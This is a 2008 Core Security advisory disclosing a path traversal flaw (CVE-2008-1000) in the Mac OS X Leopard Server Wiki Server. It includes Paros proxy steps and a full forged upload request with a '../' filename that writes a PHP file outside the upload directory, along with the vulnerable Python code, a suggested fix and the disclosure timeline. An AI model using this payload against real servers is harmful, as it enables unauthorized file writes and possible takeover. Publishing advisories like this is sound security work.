Core Security Technologies Advisory 2008.0123

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Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
Leopard Server Remote Path Traversal  
  
  
*Advisory Information*  
  
Title: Leopard Server Remote Path Traversal  
Advisory ID: CORE-2008-0123  
Advisory URL: http://www.coresecurity.com/?action=item&id=2189  
Date published: 2008-03-18  
Date of last update: 2008-03-18  
Vendors contacted: Apple Inc.  
Release mode: Coordinated release  
  
  
*Vulnerability Information*  
  
Class: Remote Path Traversal  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: 28278   
CVE Name: CVE-2008-1000   
  
  
*Vulnerability Description*  
  
MacOS X Server 10.5 [1], also known as Leopard Server features a Wiki  
Server [2], which is a multiuser web application written in Python. The  
Wiki Server is vulnerable to a path traversal attack, which can be  
exploited by non-privileged system users via a forged file upload to  
write arbitrary files on locations in the server filesystem, restricted  
only by privileges of the Wiki Server application.  
  
  
*Vulnerable Packages*  
  
. Mac OS X Server v10.5.2 (Leopard Server).  
. The Wiki Server is also available for Mac OS X v10.5 (Leopard).  
  
  
*Non-vulnerable Packages*  
  
View section "Vendor Information, Solutions and Workarounds".  
  
*Vendor Information, Solutions and Workarounds*  
  
Apple security updates are available via the Software Update mechanism:  
  
http://docs.info.apple.com/article.html?artnum=106704  
  
Apple security updates are also available for manual download via:  
  
http://www.apple.com/support/downloads/  
  
Cross-reference to Apple security updates:  
  
http://docs.info.apple.com/article.html?artnum=61798  
  
  
*Credits*  
  
This vulnerability was discovered and researched by Rodrigo Carvalho,  
from the Core Security Consulting Services (CSC) team of Core Security  
Technologies, during Bugweek 2007. Special thanks to Norberto Kueffner  
for infrastructure support.  
  
  
*Technical Description / Proof of Concept Code*  
  
A path or directory traversal attack technique forces access to files,  
directories, and commands that potentially reside outside the web  
document root directory. An attacker may manipulate the http requests in  
such a way that the web site will write, execute or reveal the contents  
of arbitrary files outside the intended path of the web documents. Any  
device that exposes an HTTP-based interface is potentially vulnerable to  
path traversal.  
  
In the MacOS X Server the python web server called "Wiki Server" is  
enabled by default and every system user has a weblog available to post  
articles and files. Attached files are written for example in path  
'/Library/Collaboration/Users/guest/weblog/3f081.page/attachments/731b1/'  
for user 'guest' where '3f081' are hash/random hexa characters assigned  
to the blog post title and '731b1' are hash/random hexa characters  
assigned to the file uploaded.  
  
Next, we show a Proof of Concept (PoC) attack to the Leopard's Wiki  
Server. It creates a file 'popote.php' at '/tmp/[xxxxx]/' where  
'[xxxxx]' are random hexa characters assigned to the file, as we have  
said. You can write on all the folders where user '_teamsserver', the  
user running the Wiki Server, has permissions.  
  
For example, to reproduce the attack using Paros proxy [3], follow these  
steps:  
  
- - Check the web server is up.  
- - Check you have a system user/password in the system, for example  
guest, and the log in.  
- - Start editing a new post in your blog.  
- - Start Paros proxy, go to Trap tab and enable Trap requests checkbox.  
- - Start uploading your preferred file, for example popote.php.  
- - In Paros, press Continue until you find the POST request.  
- - Append '../../../../../../..' at the beginning of 'popote.php' plus  
your wished path, for example '/tmp/'.  
- - Press Continue a couple of times to send the request.  
- - If user '_teamsserver' has permissions on the wished folder, you will  
write file 'popote.php' inside subfolder '[xxxxx]', where [xxxxx] are  
hash/random hexa characters that depend on the file.  
  
There are several strategies that can be used in combination with a  
path traversal to gain complete control of the victim's server, although  
we will not discuss them here.  
  
An example forged request follows:  
  
/-----------  
  
POST http://192.168.xxx.xxx/users/guest/weblog/3f081/attachments HTTP/1.0  
User-Agent: Opera/9.24 (Macintosh; Intel Mac OS X; U; en) Paros/3.2.13  
Host: 192.168.xxx.xxx  
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,  
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1  
Accept-Language:  
en,ja;q=0.9,fr;q=0.8,de;q=0.7,es;q=0.6,it;q=0.5,nl;q=0.4,sv;q=0.3,nb;q=0.2,da;q=0.1,fi;q=0.1,pt;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1,ru;q=0.1,en;q=0.1  
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1  
Accept-Encoding: identity, *;q=0  
Referer: http://192.168.xxx.xxx/users/guest/weblog/3f081/  
Cookie: cookies=1; acl_cache=3; recentTags=add tags here;  
SQMSESSID=fe79c978b66bf3bf6d0c433abd6008a6;  
sessionID=75706E3C-FA5A-4535-85EA-0D69812D21D3; utcOffset=-3; uploadID=57904  
Cookie2: $Version=1  
Proxy-Connection: close  
Content-length: 426  
Content-Type: multipart/form-data; boundary=----------YN7xkbcuNgNx21psG30p21  
  
- ------------YN7xkbcuNgNx21psG30p21  
  
Content-Disposition: form-data; name="Attachment";  
filename="../../../../../../../tmp/popote.php"  
  
Content-Type: application/octet-stream  
  
  
  
<? phphinfo(); ?>  
  
  
------------YN7xkbcuNgNx21psG30p21  
  
Content-Disposition: form-data; name="ok_button"  
  
  
  
Attach  
  
------------YN7xkbcuNgNx21psG30p21  
  
Content-Disposition: form-data; name="upload_id"  
  
  
  
57904  
  
------------YN7xkbcuNgNx21psG30p21--  
  
- -----------/  
  
  
The vulnerable code is located at  
'/usr/share/wikid/lib/python/apple_wlt/ContentServer.py':  
  
  
/-----------  
  
def uploadFileCallback(self, result):  
filename, filetype, aFile = result[1][self.type][0]  
filename = filename.decode('utf-8')  
filename = filename.split('\\')[-1] # IE sends the whole path,  
including your local username.  
extension = filename.split('.')[-1]  
oldFilename = filename  
uploadType = os.path.split(self.fullpath)[-1]  
if uploadType == "images":  
filename = SettingsManager.findGoodName() + '.' + extension  
logging.debug("beginning file upload: %s" % filename)  
isImage = filenameIsImage(filename)  
newPath = ImageUtilities.findUniqueFileName(os.path.join(self.fullpath,  
filename), isImage = (not uploadType == 'attachments'))  
newFilename = os.path.basename(newPath)  
if uploadType == "attachments":  
newParentFolder = os.path.dirname(newPath)  
os.mkdir(newParentFolder)  
newFilename = os.path.join(os.path.basename(newParentFolder), filename)  
[...]  
  
  
- -----------/  
  
  
The hash/random hexa characters used for the attachment subfolder  
are generated by code at  
'/usr/share/wikid/lib/python/apple_utilities/ImageUtilities.py':  
  
  
/-----------  
  
def findUniqueFileName(inPath, isImage = True):  
"""Uniqueifies a file name, to avoid duplicates in images and  
attachments"""  
filename = os.path.basename(inPath)  
base, extension = os.path.splitext(filename)  
parent = os.path.dirname(inPath)  
aPath = ''  
mungedName = SettingsManager.findGoodName()  
if not isImage:  
#attachment, so make the minged name a subdirectory and put the file  
in that  
aPath = os.path.join(parent, mungedName, filename)  
while os.path.exists(aPath):  
mungedName = SettingsManager.findGoodName(mungedName)  
aPath = os.path.join(parent, mungedName, filename)  
else:  
aPath = os.path.join(parent, mungedName + extension)  
while os.path.exists(aPath):  
mungedName = SettingsManager.findGoodName(mungedName)  
aPath = os.path.join(parent, mungedName + extension)  
return aPath  
  
- -----------/  
  
  
One possibility for fixing this issue is to use the function  
'safePath' from  
'/usr/share/wikid/lib/python/apple_utilities/PathHelper.py' to check if  
the filename is sane:  
  
  
/-----------  
  
def safePath(inPath):  
"""Returns whether the path is safe or not as defined by the absence of  
arbitrary path traversal elements"""  
pieces = inPath.split('/')  
if '..' in pieces:  
return False  
return True  
  
- -----------/  
  
  
*Report Timeline*  
  
. 2008-01-30: Vendor is notified that vulnerabilities were discovered  
and that an advisory draft is available.  
. 2008-01-31: Vendor acknowledges the notification and requests the draft.  
. 2008-01-31: Core sends the draft, including the PoC http request.  
. 2008-02-12: Core requests update information on the vulnerability and  
offers to coordinate the date of the disclosure.  
. 2008-02-18: Core requests again information on the vulnerability.  
. 2008-02-18: Vendor replies that the vulnerability will be fixed after  
the update to be released in March, and asks Core to keep the issues  
private until the disclosure.  
. 2008-02-19: Core writes back to the Vendor confirming that the release  
will be coordinated unless there are clear indications of the  
vulnerability being exploited in the wild, in that case the advisory  
will be published as "forced release".  
. 2008-03-03: Core requests update info on the vulnerability, a concrete  
schedule and text for the advisory section called "Vendor Information,  
Solutions and Workarounds".  
. 2008-03-04: Vendor sends information to be included in advisory  
CORE-2008-0123 including the Vendor's updates channels, draft of  
Vendor's own advisory and confirmation that the path traversal affects  
Wiki Server as opposed to Calendar Server as said earlier by Core. The  
vendor believes the security update will be made publicly available on  
March 17th.  
. 2008-03-05: Core confirms that information sent by the vendor will be  
keep confidential until the release of the fixed version.  
. 2008-03-13: Core requests the vendor an update on the coordinated date  
of disclosure.  
. 2008-03-13: Vendor confirms that the exact date of fix release is  
March 18th.  
. 2008-03-14: Core acknowledges the mail with the coordinated date.  
. 2008-03-18: Advisory CORE-2008-0123 is published.  
  
  
*References*  
  
[1] http://www.apple.com/server/macosx/  
[2] http://www.apple.com/server/macosx/features/wikis.html  
[3] Paros proxy http://www.parosproxy.org  
  
  
*About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs/.  
  
  
*About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
*Disclaimer*  
  
The contents of this advisory are copyright (c) 2008 Core Security  
Technologies and (c) 2008 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
*GPG/PGP Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
  
  
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